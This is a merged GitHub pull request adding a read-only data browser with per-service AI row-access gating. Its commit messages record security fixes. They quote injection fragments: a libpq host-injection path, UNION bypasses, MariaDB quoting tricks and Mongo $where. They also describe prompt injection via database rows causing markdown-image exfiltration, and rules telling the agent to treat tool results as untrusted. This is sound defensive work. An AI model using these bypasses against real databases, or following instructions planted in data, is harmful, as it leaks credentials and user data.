feat(providers,web,cli): read-only data browser with per-service AI row access - #557
Merged
Conversation
A feature the user cannot find does not exist. Self-hosted operators debug alone, so a capability hidden behind a keyboard shortcut, or conditionally rendered away because its optional dependency is not set up, is one they will never learn exists. Adds the rule to both CLAUDE.md (full section with the API shape) and AGENTS.md (short form): always render the surface, state what is missing, show a concrete example, and link straight to the settings page that fixes it. Back it with a capability endpoint returning configured/reason/setup_path so a client can tell 'not built' from 'not set up'.
…access opt-in Reading rows was only reachable via POST .../data. Fine for the console, but the AI agent's tool index is GET-only by construction, so the one endpoint returning actual data could never be exposed to it. Adds GET on the same path, taking the backend-specific filter as a JSON query string. An unparseable filter is a 400 that echoes the backend's filter_schema rather than being dropped -- silently ignoring it would return a full unfiltered table that reads as a correct answer. Row contents are a different risk class from everything else the agent can read: password hashes, tokens, customer PII, all shipped to a third-party LLM provider. So the handler gates agent callers -- identified by the new AiToolCall request-extension marker, settable only in-process -- behind a new external_services.ai_data_access column, NOT NULL DEFAULT false. Schema browsing stays open; only rows are gated. Agent responses clamp to 100 rows so paging is explicit rather than silent truncation. The 403 names the service and the console path to enable it, per the discoverability rule. Toggling is audited in both directions.
Coding agents (Claude Code, Codex, OpenCode) had no way to answer questions about an application's real data. The console's data browser is three clicks deep inside a service and assumes a human; the API needed hand-rolled curl with URL-encoded container paths. Adds a read-only command group covering the full navigation chain: temps data info <service> capabilities, hierarchy, filter schema temps data containers <service> databases / buckets temps data tables <service> --path tables / collections / keys / objects temps data schema <service> <entity> columns, types, row count temps data rows <service> <entity> the rows, with --filter/--limit/--offset temps data ai-access <service> the built-in assistant's row opt-in Services resolve by id, slug or name, since that is how both humans and agents refer to them. Each command prints the next command with a real path filled in -- the slash-separated path is the easiest thing to get wrong. --json gives untruncated output for programmatic use. A non-JSON --filter is rejected locally with the backend's schema rather than being sent and silently dropped.
Reload bug: opening ?path=db/schema left the schema collapsed. Two causes, both needed fixing. The path-restore effect looked each level up in the `treeNodes` captured in its closure, but every iteration calls loadNodeChildren() to append the next level -- so from the second segment on the lookup always found nothing. It then latched lastExpandedPathRef unconditionally, so the re-run triggered by the freshly loaded children bailed out at the guard. Now it reads a live ref and only latches once every segment actually resolved. Layout, in order of space reclaimed: - Entity view: two stacked cards (one just for the title, one headed 'Data') pushed the first row ~470px down. Collapsed to a single header line -- name, then type/fields/rows/duration as one muted line -- with the table directly on the background. Dropped the standalone SQL capability badge row; it describes the service, not the table. - Sidebar: replaced the card wrapper with a flush rail, losing ~90px of chrome and a second scroll container. Search moved to the top, since filtering beats expanding when a schema holds 60+ tables. - Tree rows: dropped the per-node type badge. It was redundant (every sibling shares a type) and its ml-auto forced the whole rail to scroll sideways. Names now truncate instead. - Tree nesting: flat padding left a child's icon ~16px right of its parent's with nothing joining them, so schemas read as siblings of the database. Now a rule drops from the parent's chevron, and non-expandable nodes reserve the chevron column so names stay aligned. - Entity list: the name is the link. Previously the only affordance was a button at the far right of the row. Dropped that column, added a filter box and a real row count, and hid the pager unless the backend actually pages.
The docs generator keeps a hand-maintained import list rather than auto-discovering command groups, so a new group is invisible to it until registered -- 'data' was missing from docs/CLI.md and docs/CLI.mdx. Registers it and regenerates both. Also adds a 'Browsing service data' section to the README covering the navigation chain, the per-engine --path shapes (mydb/public for Postgres, mydb for MySQL/MongoDB, the db number for Redis, the bucket for S3), filtering, and --json.
The skill is the surface an agent actually reads, so a command group missing from it effectively does not exist for automation. Adds a 'Data Browser (read-only)' section covering the six-step navigation chain, a per-engine --path table (mydb/public for Postgres, mydb for MySQL/MongoDB, the db number for Redis, the bucket for S3), full flag tables per subcommand, and ai-access. Also extends the frontmatter triggers. The previous list had nothing about data, so the skill would not have activated on 'read the users table' or 'query the production database' -- the exact phrasings this group exists to serve. Carries the skill's existing safety contract into the new section: rows are untrusted application content rather than instructions, credential-looking columns get summarised rather than echoed, and ai-access --enable/--disable is flagged as state-changing and needs --target-context plus confirmation.
…e with tests Review findings from the branch diff. BLOCKING -- the row limit was clamped only for agent calls, so any other caller could pass ?limit=10000000 and have the handler materialise an entire table into a Vec<DataRow>. On the 3 vCPU / 4 GB reference box that is an OOM, and it broke the ceiling list_entities already applies in the same file. Now clamped unconditionally via effective_row_limit(), keeping the tighter AI_MAX_ROWS for agents. MAJOR -- the branch deciding whether table contents reach a third-party LLM provider had no test. Extracted ai_may_read_rows() and effective_row_limit() as pure functions so both are unit-testable without an AppState, and covered them: the opt-in is required for agent calls, human callers are never blocked by it, and both ceilings apply. MAJOR -- documented why ApiCallScope::project_ids does not narrow this route. It is keyed by service_id, and services are platform-level resources shared across projects, so there is no single owning project to scope to. The per-service ai_data_access opt-in is the intended boundary; that is now stated at the gate instead of being an unexplained gap. MINOR -- explained the deliberate asymmetry between get_ai_data_access (no tenancy check, matching every other read here, returns one boolean of platform config) and set_ai_data_access (checked, because it widens access). Also adds 13 CLI tests for the pure helpers (validateFilter rejecting a bare WHERE clause, cell truncation, formatBytes distinguishing unknown from zero), and moves the web treeNodesRef assignment out of render into an effect.
Reported from a real instance: opening public/db_mutex failed outright with Query failed: column "channel" does not exist SELECT * FROM "public"."db_mutex" ORDER BY "channel" DESC LIMIT 20 OFFSET 0 The sort field had been chosen on a different table and outlived it. Reproduced exactly against a local db_mutex (columns name, locked_at): the same 400, the same generated SQL. navigateTo already clears sort, but it is not the only way an entity gets selected -- restoring a tab from ?tabs=, opening a saved view, and landing on a shared deep link all reinstate a sortField captured against another table. Clearing at each of those call sites would leave the next one to be added broken again. So the check moved to the point of use: the sort field is validated against the schema already fetched for the current entity, and one it does not contain is dropped from the request and from state (so no header shows a sort indicator for a column that is not there). While entityInfo is still loading the field is trusted, so a legitimately sorted view does not lose its ordering on first paint. Verified sorting on a real column is unaffected.
…le size Opening a table in the data browser called get_entity_info, which ran SELECT COUNT(*). PostgreSQL keeps no row counter, so that is a full heap scan: on an 800k-row table it measured 1204ms before a single row could render, and it scaled with table size. Reported from a real instance where the delay was the first thing users noticed. Row count and size now come from pg_class.reltuples and pg_total_relation_size, both O(1) catalog lookups (5.9ms for the same table). Tables estimated under 50k rows still get an exact count -- cheap there, and exactness is worth having at small sizes. reltuples is -1 on a never-analysed table (PG14+), which falls through to the exact count rather than reporting a wrong number. This also populates size_bytes, which was hard-coded None. The data browser's Size column previously rendered an em dash on every row -- a question the UI asked and could never answer. The catalog query binds the qualified name as a parameter to $1::text::regclass rather than interpolating it. The ::text step matters: with a bare $1::regclass the extended protocol infers a regclass parameter type, the driver cannot bind a String to it, the query fails silently, and every table falls back to the scan this change exists to remove. That failure mode is invisible except that size_bytes stays None -- which is how it was caught.
Extends the Postgres change to the other backends. A survey first, because they were not all broken: - MariaDB: same bug. list_entities already read TABLE_ROWS/DATA_LENGTH/ INDEX_LENGTH from information_schema, but get_entity_info called self.count(), i.e. SELECT COUNT(*) -- a full index scan on InnoDB -- and returned size_bytes: None. Now reads the same catalog stats, falling back to the exact count under 50k rows (matching the Postgres threshold) and when information_schema has no row for the entity, e.g. a view. - MongoDB: already fine for counts -- estimated_document_count() is a maintained metadata read, not a scan. Only size_bytes was missing; now taken from collStats.storageSize (compressed on-disk figure, which is what 'how much space does this use' means), falling back to .size. Best-effort: collStats needs privileges the browsing user may lack, and a missing value renders as an em dash rather than 0. - Redis: nothing to change. A key is one row and the count is already O(1); per-key MEMORY USAGE would reintroduce exactly the per-entity cost being removed elsewhere. NOT RUNTIME-VERIFIED. No MariaDB or MongoDB service exists in the local dev environment, so unlike the Postgres change -- measured at 1204ms to 5.9ms on an 800k-row table -- these are compile- and lint-checked only. The Postgres version of this fix initially failed silently at runtime while looking correct, so both paths should be exercised against real instances before merge.
…e labels Provisioned one service per backend (MariaDB, MongoDB, Redis, S3) alongside the existing Postgres and browsed each. That surfaced several things unit tests could not. Postgres list_entities now joins pg_class for reltuples and pg_total_relation_size, and includes VIEWs. Previously it returned nulls for both stats while MariaDB returned real numbers from information_schema -- the same UI showed populated columns on one engine and a column of em dashes on the other. Views were excluded by a table_type = 'BASE TABLE' filter, which made schemas look emptier than they are; a view reports no row count or size (it has no heap of its own) rather than a misleading zero. The console now adapts its columns to what the container actually holds: - Type is rendered only when entity types differ. Every Redis entity is a key, every Mongo one a collection, every MySQL one a table, so the column repeated a single word down the page -- the same dead-column problem the original icon column had. It earns its place in a Postgres schema holding both tables and views. - Rows requires at least two distinct values. Redis reports 1 per key, which rendered as a column of 1s. - Size appears only when some entity reports one. - Entity nouns come from the source's own vocabulary instead of an isObjectStore() binary that only covered two of five engines: Redis now reads '4 keys' and 'Filter keys...', Mongo '2 collections', where both previously said 'tables'. - A container path's leaf is labelled with its type, so a Redis database reads 'database 0' rather than a bare '0'.
…panel
Three items from the dogfooding feedback.
Separate scroll for the tree and the data. The main pane carried
style={{ height: 'calc(100vh - 180px)' }}, a magic number that assumed a fixed
header height and drifted whenever the header wrapped; the tree meanwhile sat
inside a card with its own scroller, giving nested scrollbars. Replaced with
min-h-0 flex so the rail owns its scroll: verified that scrolling the tree
300px leaves the content pane at 0.
Column selection. Wide tables forced horizontal scrolling to read anything.
A Columns menu now toggles per-field visibility, showing n/total once anything
is hidden, with a Show all reset. The last visible column cannot be hidden --
an empty table has no affordance to recover from. Selection resets when the
entity changes, since column names do not carry over.
Row detail replaces the per-value JSON sheet. Expanding a JSON cell used to
open a panel containing that value alone, so you lost which row it came from.
It now opens the whole row: every field with its type, structured values
pretty-printed, columns currently hidden from the table still listed and
marked as hidden, and a copy-row-as-JSON action. SmartCell takes an optional
onExpand and delegates when given one, so its standalone behaviour is
unchanged elsewhere.
Verified against a live Postgres service: 7 columns reduced to 5 by hiding two,
and clicking a jsonb cell opened 'subscriptions - row 1' with all 8 fields.
…fixes Follow-ups from browsing the five live services. The data pane now owns its scroll. Making the page h-full instead of flex-1 means the header stays pinned and the pane scrolls internally rather than dragging the whole page; measured three independent scrollers (tree rail 1126/737, content 6032/549) where before the app shell scrolled everything. Added pr-3 so the table no longer butts against the scrollbar. Scroll position is remembered per tab in sessionStorage. Switching to another table and back used to dump you at the top of a long result set. sessionStorage rather than localStorage because an offset only means something for the rows currently loaded. Restoration retries across frames: a single rAF fires while the incoming tab is still fetching, so scrollTop clamps to 0 against an empty pane. Keys are dropped when a tab closes. Entity views get a breadcrumb. Opening a table left no way back except the header arrow, which exits to the service page -- several levels further than intended. Each path segment now navigates to that container. Intermediate containers get a real page. A Postgres database showed "Container: myapp / Select an entity from the sidebar", wasting the pane and hiding facts the backend already returns. It now shows metadata first -- size, owner, encoding -- then its children with their table counts. Sidebar rows show size when the backend reports one. Unlike the type badge this differs per row, so it earns the space: the heavy table is visible without opening anything. Rounded to whole units since the rail is narrow. S3 objects no longer flash a query error. The skip guard read entityInfo?.entity_type === 'object', which is undefined on first render, so the query fired before the answer arrived and object stores -- which do not implement Queryable at all -- returned 'Service does not support querying'. isObjectStore() alone is resolved by then and is race-free.
…ty breadcrumb Two follow-ups from browsing the live services. Schema entity_count counted BASE TABLE only, mirroring the filter that used to exclude views from list_entities. Once views became browsable the two disagreed on screen: the container overview advertised "3 tables" and the entity list then showed 4. Both now count BASE TABLE and VIEW. pg_catalog goes from 64 to 144, which is correct -- it holds 64 tables and 80 views. The overview's per-row label says "entities" rather than "tables" for the same reason. The entity header stacked breadcrumb, name and type on three rows, spending a third of the pane restating one identity. Breadcrumb is now inline with the name -- parent segments muted and clickable, entity emphasised -- so it reads "assets / docs/a.txt" on one line with the type beneath.
…, and markdown exfiltration
Four findings from the security audit of this branch. Three are pre-existing
in the query stack; they are fixed here because this branch is what makes them
reachable by a prompt-injected agent and by a documented CLI flag.
CRITICAL -- connection-string injection (temps-query-postgres). The connection
was built with format!("host={} port={} user={} password={} dbname={}"), and
`database` is the first segment of a browser URL path, unvalidated. libpq
keyword/value strings are whitespace-separated and `host` appends rather than
replaces, so a path of `nosuchdb host=evil.tld` produced a config listing a
second host; tokio-postgres tries hosts in order and falls through when the
first rejects the nonexistent database -- handing the attacker-controlled
server this service's admin password in cleartext, made worse by a TLS
verifier that accepts any certificate and a plaintext fallback. Now built with
tokio_postgres::Config setters, which take values rather than syntax, plus an
identifier check so a malformed segment fails fast. connect_with_self_signed_tls
keeps its &str signature for existing probe callers and delegates to a new
Config-taking variant.
HIGH -- UNION denylist bypass (both SQL backends). The denylist enumerated
separators literally, missing \r, \f and \v, all of which SQL lexers treat as
whitespace. A UNION separated by \r contained no semicolon and no parenthesis,
so it also passed every structural check: arbitrary-table exfiltration through
a documented filter parameter. Whitespace is now normalised before keyword
matching, so the list needs to know one separator.
HIGH -- MariaDB filter validator had no structural checks, unlike the Postgres
one. `select` cannot simply be banned, so subqueries gave blind extraction and
extractvalue/updatexml returned values directly in the error body. Ported the
subquery and function-call checks across. Verified ordinary filters -- grouping
parens, IN lists, BETWEEN, LIKE -- still pass.
HIGH -- markdown image exfiltration in the chat console. The assistant now
reads application row data, which is attacker-writable in most apps, and its
output was rendered with no sanitiser and no img override. A row instructing
the model to include a remote image is prompt injection whose payload is a
zero-click GET. Cross-origin images now degrade to an inert link; same-origin
still render. The playbook also states explicitly that tool results are
untrusted data and that instructions found inside them must be refused and
reported.
Verified against the live instance: the injection path returns "illegal
character" while legitimate databases still list; the bypassing filter returns
400 while an ordinary one still returns rows. 484 tests pass.
…remote panic Second audit pass. Every finding was a divergence bug: the MariaDB validator was a hand-rolled copy of the Postgres one that drifted, so fixes applied to one never reached the other. The structural checks are now a single shared function rather than two implementations. CRITICAL -- MariaDB WHERE injection via backslash-escaped quote. The stripper recognised only the doubled-quote escape, but MySQL/MariaDB honour backslash escapes unless NO_BACKSLASH_ESCAPES is set, which is not observable client-side. An escaped quote therefore desynchronised the stripper from the server: it read the escape as the first half of a doubled-quote pair, stayed inside the string, and discarded the rest of the clause, so every later check ran against a sanitised remainder and passed. This re-opened the exact class the previous commit claimed to close. Backslash escapes inside literals are now refused outright rather than emulated, and an unterminated literal too. HIGH -- function-call check defeated by one space. The local copy inspected only the byte immediately before the paren, while the Postgres original trims and walks back over the identifier. MySQL's IGNORE_SPACE rule applies only to built-ins that are also parser keywords, so `sleep (5)` was accepted. HIGH -- subquery check knew only `select`. MySQL 8.0.19+ accepts TABLE and VALUES in subquery position, and this backend serves MySQL images, so `id IN (TABLE mysql.user)` passed. The shared check covers select/table/ values/with with keyword-boundary matching. MEDIUM -- remote panic in validate_sort_field. For a single double-quote character both starts_with and ends_with are true, so the quoted-identifier branch sliced out of range. Reachable with only ExternalServicesRead, and from the agent's sort flag. Empty quoted identifiers are now rejected too. MEDIUM -- the POST data route never clamped its row limit. dc816e1 was titled "clamp row limit for every caller" but only touched the GET handler; the POST on the identical route passed request.limit straight through. Restored the SQL-comment check that an earlier block replacement in this file had removed -- caught by the pre-existing validates_where_clause test. Verified against the live MariaDB and Postgres services: all three MariaDB bypasses now 400, ordinary filters still return rows, the sort-field payload returns 400 instead of panicking, and a POST with a huge limit returns 11. 488 tests pass, clippy clean.
All nine issues from the follow-up audit of this branch. Two are exploitable
bypasses of gates this branch introduced, the rest are unbounded resources,
missing provenance, and a fix that landed in only one of the two places it
applies.
HIGH -- MariaDB backtick bypass. `strip_sql_string_literals` handled `'...'`
only, so a backtick reached `reject_subqueries_and_function_calls` untouched.
That check was written for PostgreSQL lexing: it spots a function call by a
quote character (`"`/`'`) before `(` or by walking back over identifier
characters, and a backtick is neither -- it is not a quote it knows, and it
terminates the identifier walk, so the guard saw an empty identifier and
allowed the call. The `sleep(`/`benchmark(` denylist entries missed it
independently, because the text carries a backtick before the paren rather
than the bare "sleep(" they match. One character defeated both layers, giving
a CPU-burn and connection-hold primitive on the operator's own database,
reachable from the documented `--filter` and therefore prompt-injectable.
Backtick-quoted identifiers now normalise to the same `""` placeholder the
Postgres stripper emits, so the shared check rejects them as the quoted
function calls they are. The denylist keeps its parens on purpose: the
structural check is the real guard now, and matching bare "sleep"/"benchmark"
would reject ordinary columns like `sleep_minutes`.
HIGH -- MariaDB double-quoted strings. Under default sql_mode `"..."` is a
string literal; under ANSI_QUOTES it is an identifier. The stripper cannot
observe the mode and the two readings disagree about where the span ends, so
either choice desynchronises it from the server -- the same class as the
backslash bug fixed in be1fdd5, through a different quote character. Refused
outright, as that one was; single quotes and backticks cover both modes.
HIGH -- key and object enumeration was outside the AI gate. `list_entities`
is allowlisted to the agent as "schema shape only, no stored values". True for
tables and collections; false for Redis, where it returns KEYS that routinely
embed session tokens and emails, and S3, where it returns object names that
are user-supplied filenames. `ai_data_access` did not cover it, so an operator
who deliberately left row access off still leaked their cache and bucket
contents. Now gated by engine, defaulting closed for engines nobody has
classified yet.
MEDIUM -- no query was bounded in time. Both handlers passed `timeout_ms:
None`, and no backend read the field regardless: no statement_timeout, no
maxTimeMS, no max_execution_time anywhere. A query kept running on the
operator's database after the HTTP client disconnected. Now bounded at the
dispatch point for every backend, plus the native server-side knob where the
engine has one -- `SET statement_timeout` (Postgres), `maxTimeMS` (Mongo), and
`max_execution_time`/`max_statement_time` on a pinned connection (MySQL and
MariaDB spell it differently, so both are tried).
MEDIUM -- `offset` was unclamped while `limit` was clamped. Offset cost is
O(offset) in every backend here, so a small limit made a deep offset look
harmless. Clamped, and it compounded with the missing timeout: nothing
downstream could cut it off.
MEDIUM -- the response ceiling counted rows, not bytes. MAX_ROWS assumed rows
are small; one bytea/blob/jsonb column reaches the same OOM the clamp exists
to prevent. It also defeated the stated rationale for AI_MAX_ROWS, since 100
fat rows still blow the tool caller's byte cap and reintroduce exactly the
silent truncation that comment says row-clamping avoids. Added a byte budget
with an explicit `truncated` flag, surfaced in the console (which would
otherwise have disabled Next and stranded the user) and in the CLI.
MEDIUM -- AI row reads were not audited. The `ai_data_access` toggle was, but
that records only that the door opened. After a suspected injection the
operator's first question is what the model saw, and nothing answered it.
Records location and shape -- service, path, entity, row count, filter --
never values, so the log does not become a second copy of the same secrets.
MEDIUM -- the markdown `img` override covered one renderer. AutopilotRunDetail
rendered agent transcripts and tool results with no override and no sanitiser,
and does so on page load rather than in response to a user message. Lifted into
a shared module both renderers use.
LOW -- Postgres TLS accepted any certificate and fell back to cleartext in
silence. be1fdd5 named this as what made the injection it fixed worse, but
left it. Now a ladder: verified TLS against the webpki roots, then the
accept-any verifier that Temps-managed self-signed clusters need, then
cleartext -- and that last rung only where the host is loopback or private, so
a password can no longer cross the open internet in the clear. Each downgrade
logs why.
502 tests pass; clippy clean on the touched crates; web and CLI typecheck.
Resolutions: - migration/mod.rs -- both branches independently authored a migration stamped m20260804_000001. They touch different tables, and DeriveMigrationName keys on the full module name, so the shared stamp is not a collision in seaql_migrations. Kept both names rather than re-dating this branch's: main's shipped first and may already have run, and the repo already carries a duplicate stamp (the two m20260803_000001 migrations). Main's is ordered first, this branch's appended after. - DebugChatPanel.tsx -- import-block conflict only. Both sides kept: main's CopyButton and this branch's untrustedMarkdownImage. - Generated API clients -- not hand-merged. apps/temps-cli/openapi.json was three-way merged at the JSON level after confirming no path and no schema had changed on both sides (branch added 1 path, main added 10), then the CLI client was regenerated from it. web/src/api/client was NOT regenerated from that spec. The committed openapi.json is staler than main's web client, which is generated against a live server, so regenerating from it silently dropped types main's frontend needs (must_change_password, mfa_*, changeRequiredPassword) and broke tsc. Those files are instead three-way merged, with the conflicting single-line import/export identifier lists unioned -- sound here for the same reason the JSON merge was: no symbol changed on both sides. Verified on the merged tree: 506 Rust tests pass, clippy clean with -D warnings across the touched crates, web tsc clean, CLI 82 tests pass with only the 5 pre-existing type errors (notifications, providers, openapi-ts.config -- none in files this branch touches). Confirmed `truncated` survives into both generated clients and that both branches' endpoints are present.
📓 Changelog previewThis is what your commits will add to the generated ## [Unreleased]
### Added
- **providers:** Read-only GET rows endpoint and per-service AI data access opt-in
- **cli:** Add 'temps data' for read-only browsing of service data
- **query-postgres,web:** Show views, list-level stats, and per-engine labels
- **web:** Independent tree scroll, column selection, and row detail panel
- **web:** Container overview, sidebar sizes, per-tab scroll, and S3 fixes
### Documentation
- Require features to be discoverable and onboard when unconfigured
- **cli:** Document the data command group
- **skills:** Document the data command group in the temps-cli skill
### Fixed
- **web:** Restore deep paths on reload and compact the data browser
- **providers:** Clamp row limit for every caller and cover the AI gate with tests
- **web:** Drop a sort field the current table does not have
- **query-postgres,web:** Count views in entity_count, inline the entity breadcrumb
- **security:** Close connection-string injection, SQL denylist bypass, and markdown exfiltration
- **security:** Share one SQL validator, close MariaDB bypasses and a remote panic
- **security:** Close the nine findings from the data-browser audit
- **security:** Close the review findings, and make the TLS ladder actually work
- **security:** Close the re-audit findings, including a UNION injection I added
### Performance
- **query-postgres:** Use planner stats for row count, and report table size
- **query:** Avoid full scans for MariaDB row counts, add MongoDB size |
dviejokfs
marked this pull request as ready for review
August 5, 2026 17:28
…ually work
The previous round's TLS fix was inert. This round fixes it, adds the test that
would have caught it, and closes the rest of the review.
BLOCKING -- the Postgres TLS ladder never ran past rung 1, and rung 1 could be
cleartext. `Config` was built without `.ssl_mode(...)`, so it took
tokio-postgres' `SslMode::Prefer` default, under which `connect_tls` returns
`Ok(MaybeTlsStream::Raw)` -- an ordinary unencrypted socket -- when the server
answers anything but `S` to the SSLRequest. So `connect_with_verified_tls`
succeeded over cleartext, logged "Connected to PostgreSQL with verified TLS",
and rungs 2 and 3 were unreachable, which made the `host_is_private` guard added
last round dead code. An on-path attacker forced it by answering `N`: an
SSL-strip needing no certificate. Both TLS rungs now carry `SslMode::Require`,
and the cleartext rung builds an explicit `Disable` config so a downgrade is a
deliberate step rather than something `Prefer` did silently.
BLOCKING -- the accept-any-certificate rung had no host restriction, unlike the
cleartext rung. An active attacker never presents a properly-issued certificate;
they present a self-signed one, so an unrestricted rung 2 handed over the
password on the same terms as cleartext. Both lower rungs are now behind
`host_is_private`.
BLOCKING -- MongoDB filters reached the driver with no validation at all. Every
top-level key went into the BSON document verbatim: no `$` check, no operator
allowlist, no depth bound. `{"$where": "function(){...}"}` was JavaScript
execution inside mongod (and ignores the rest of the filter, reading every
document); `$expr`/`$function` the same on 4.4+. Reachable from `?filter=` and,
once a service opts into AI data access, prompt-injectable. Now an operator
allowlist, recursive so a payload cannot hide inside a legitimate `$and`, with
`$where`/`$function`/`$accumulator`/`$expr`/`$merge`/`$out` named explicitly and
a depth bound.
BLOCKING -- MongoDB had no connected-database guard, which Postgres and MariaDB
both enforce. Path segment 0 went to `client.database(...)` unchecked, so with
the root user a Temps-provisioned Mongo runs as, `admin.system.users` returned
SCRAM credentials and `local.oplog.rs` the change stream for every database on
the server. Worse, `entity_names_are_user_data("mongodb")` is false, so the
agent could enumerate those collections with no opt-in at all. Now pinned to the
connection string's database when it names one, system databases and `system.*`
collections denied outright, and denied databases are not listed either.
BLOCKING -- no tenancy check on any data-browser read. Every handler stopped at
`permission_guard!(auth, ExternalServicesRead)` and used the path `service_id`
directly, while `set_ai_data_access` in the same file and every service-keyed
read in `metrics_handlers` pair that guard with
`assert_service_owned_by_caller`. The endpoint returning customer row data was
skipping the check that guards metrics. Deployment tokens were the sharpest
case: their project scope only takes effect inside that helper. Now applied to
all ten handlers.
MAJOR -- `get_entity_info` was AI-allowlisted with no gate, under a comment
claiming it was gated. Only `list_entities` was. The shared decision now lives
in `apply_entity_name_gate`, called by both, because two call sites implementing
"the same" rule is how the gap appeared.
MAJOR -- `count()` and `get_entity_info` were unbounded. The timeout work
covered the row path only, leaving the more expensive one open: `COUNT(*)` is a
full scan, takes a caller-supplied WHERE clause, and `get_entity_info` falls
through to it for every view and un-analyzed table. Bounded on all three engines
plus the dispatch deadline.
MAJOR -- console paging skipped rows. Enabling Next on `truncated` while offset
stayed `(page - 1) * pageSize` meant a page truncated to 3 of 50 jumped to
offset 50 and lost rows 3-49 -- silently, since a short page looks like the end
of the table. Offset is now explicit state advanced by rows actually received,
which is what the CLI already did.
MAJOR -- regex ReDoS passed both SQL validators, because the pattern lives
entirely inside a string literal the stripper removes. Both engines backtrack.
Not fixable by inspecting the payload, so the operators are rejected: `~`/`!~`
on Postgres, `REGEXP`/`RLIKE` on MariaDB. LIKE/ILIKE cover the honest case.
MINOR -- parenless information functions (`current_user`, `current_schema`,
`::regclass`, `@@datadir`, `@@version`) walked past the function-call guard and
gave blind boolean extraction; now denied. `validate_sort_field` validated the
trimmed value while the quoting decision used the raw one, so a leading space
split them on a raw-concatenation path; trimmed once now. The denylist matched
raw substrings, so `payload` (contains `load `) and `charset` (contains `set `)
were unfilterable -- token-boundary matching via a shared `contains_sql_token`.
`host_is_private` classified the hostname string, so `134744072` counted as
private while getaddrinfo resolves it to 8.8.8.8; it resolves first now and
fails closed. `AutopilotRunDetail` had no `a` override, so autolinked URLs in
tool results were one-click exfiltration; the link override moved next to the
image one and both renderers use both. The data-browser `get_container_info`
took an explicit `operation_id`, since it silently overwrote the Docker
endpoint's and the allowlist comment described the wrong one.
EVIDENCE. `verified_tls_rung_refuses_a_server_that_does_not_offer_tls` starts a
real TLS-less PostgreSQL and asserts the verified rung refuses it, then asserts
the ladder still reaches it via the cleartext rung so self-hosted deployments
without certificates keep working. Verified it actually catches the bug:
removing `SslMode::Require` makes it fail with "SECURITY REGRESSION: the
verified-TLS rung connected to a server with TLS disabled", and restoring it
makes it pass. That is the check the last round was missing -- no unit test can
show it, because it is a property of the wire handshake.
518 tests pass; `cargo clippy --workspace --all-targets -D warnings` clean; web
tsc clean; CLI 82 tests pass.
…on I added
The second-round audit returned NOT APPROVED. One blocking finding was a
regression introduced by the previous commit; the other two were guards that
looked right and did nothing.
HIGH -- `contains_sql_token` reopened UNION injection. Switching the denylist
from `contains("union ")` to token-boundary matching was meant to stop
`payload`/`charset` being unfilterable. It also stopped catching a keyword
abutting a numeric literal: digits are identifier *continuation* characters but
cannot *start* an identifier, so `1e0union select ...` has an identifier
character before `union` and failed the boundary test. MySQL and pre-15
PostgreSQL both lex that as `1e0` followed by `UNION` -- a textbook WAF bypass,
and it reached the server raw. Verified by compiling the matcher standalone:
`1e0union select 1,2,3` gave token=false where the old substring form gave true.
The boundary test now walks the whole preceding identifier run and treats it as
a boundary when the run cannot be an identifier at all.
HIGH -- the MongoDB database pin was inert. `assert_database_allowed` read
`default_database`, captured from the URI's `/dbname` segment, but the data
browser builds `mongodb://user:pass@host:port` with no segment -- so it was None
on every real connection, the pin fell through for any non-system name, and the
guard's own comment claimed a restriction that did not exist. Same failure shape
as the TLS ladder. `MongodbInputConfig` carries the database; it is now passed
explicitly via `new_scoped`, which makes the scope visible at the call site
rather than dependent on how a string was formatted three modules away.
MEDIUM -- `SIMILAR TO` bypassed the regex rejection. PostgreSQL routes it
through the same backtracking engine as `~`, so rejecting only the operator
forms left the ReDoS this check exists to stop open under another name.
LOW -- Mongo `get_container_info` was the one entry point missing the database
guard, so `/containers/admin/info` still confirmed existence and returned a
collection count. Bare `USER` is a niladic synonym for `CURRENT_USER` and was
not denied, and only `regclass` of seven `reg*` casts was. The paging offset
desynced on tab restore, the one path that sets a page other than 1.
Also: `$regex` stays on the MongoDB operator allowlist while the SQL backends
reject regex outright. That inconsistency is now a recorded decision rather than
silence -- MongoDB has no other substring-search primitive, and the exposure is
bounded by `max_time` on every filter-carrying call site.
TEST INTEGRITY -- the TLS regression test was asserting against a config it
built itself, so deleting `.ssl_mode(...)` from the production path left it
passing. A regression test that cannot observe the regression reports safety it
never checked. The config construction is now a named function both use;
verified that removing `.ssl_mode` from it makes the test fail.
Not fixed here, tracked separately: `host_is_private` resolves the name and the
driver resolves it again, so a DNS-rebinding attacker can pass the guard and be
connected to elsewhere; and `ensure_cluster_app_database` still builds a
connection string by interpolation with no sslmode and a NoTls fallback.
517 tests pass; clippy clean with -D warnings across the workspace; web tsc
clean.
This was referenced Aug 5, 2026
One conflict, in the migration registry. Main added `m20260805_000001_index_normalized_managed_domains`; this branch carries `m20260804_000001_add_ai_data_access_to_external_services`. Unlike the previous merge, the two stamps differ, so they are ordered chronologically — 0804 then 0805. Safe for environments that already ran main's: sea-orm skips migrations already recorded in `seaql_migrations` by name, so Vec position does not re-apply or reorder anything that has run. Checked that main's 11 commits do not touch the code the in-flight security audit is examining: none of temps-query-postgres, temps-query-mongodb, query_handlers.rs, mariadb_query.rs, the markdown overrides or ServiceDataBrowser.tsx. Main does touch `serve/console.rs`, which holds the AI tool allowlist, but only to register a DNS automation gate slot — no allowlist entries added or removed, so the audit's review of that surface still stands. 521 tests pass on the merged tree.
dviejokfs
added a commit
that referenced
this pull request
Aug 6, 2026
Rebasing onto main brought in the data-browser redesign (#557), which had already fixed the stale-sort symptom independently: effectiveSortField validates the sort column against the entity's own field names and falls back to unsorted when it doesn't match. Routing the three tree-selection handlers through navigateTo on top of that collapsed the tree on entity selection — verified by running the same switch-tables flow against unmodified origin/main (passes) and against this branch (fails, 'public' collapses so sibling tables are unreachable). Since the reported bug is already fixed upstream, reverting is strictly better than shipping a working fix plus a new regression. The residual gap is the stale *filter*, which still carries across a table switch; that needs a fix derived from the redesigned navigation and is left as a follow-up rather than guessed at here.
9 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
